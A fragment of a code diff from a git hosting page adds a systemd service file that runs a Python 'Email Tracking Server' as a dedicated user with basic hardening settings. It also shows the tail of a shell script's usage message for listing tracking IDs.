||||
echo "Usage: $0 [list|details TRACKING_ID]"
|
||||
echo " list - Show summary of all tracking IDs"
|
||||
echo " details ID - Show details for specific tracking ID"
|
||||
;;
|
||||
esac
|
||||
@@ -0,0 +1,19 @@
|
||||
[Unit]
|
||||
Description=Email Tracking Server
|
||||
After=network.target
|
||||
|
||||
[Service]
|
||||
User=tracker
|
||||
Group=tracker
|
||||
WorkingDirectory=/opt/tracker
|
||||
ExecStart=/opt/tracker/venv/bin/python /opt/tracker/simple_email_tracker.py
|
||||
Restart=always
|
||||
RestartSec=10
|
||||
|
||||
# Security settings
|
||||
PrivateTmp=true
|
||||
ProtectSystem=full
|
||||
NoNewPrivileges=true
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
Reference in New Issue
Block a user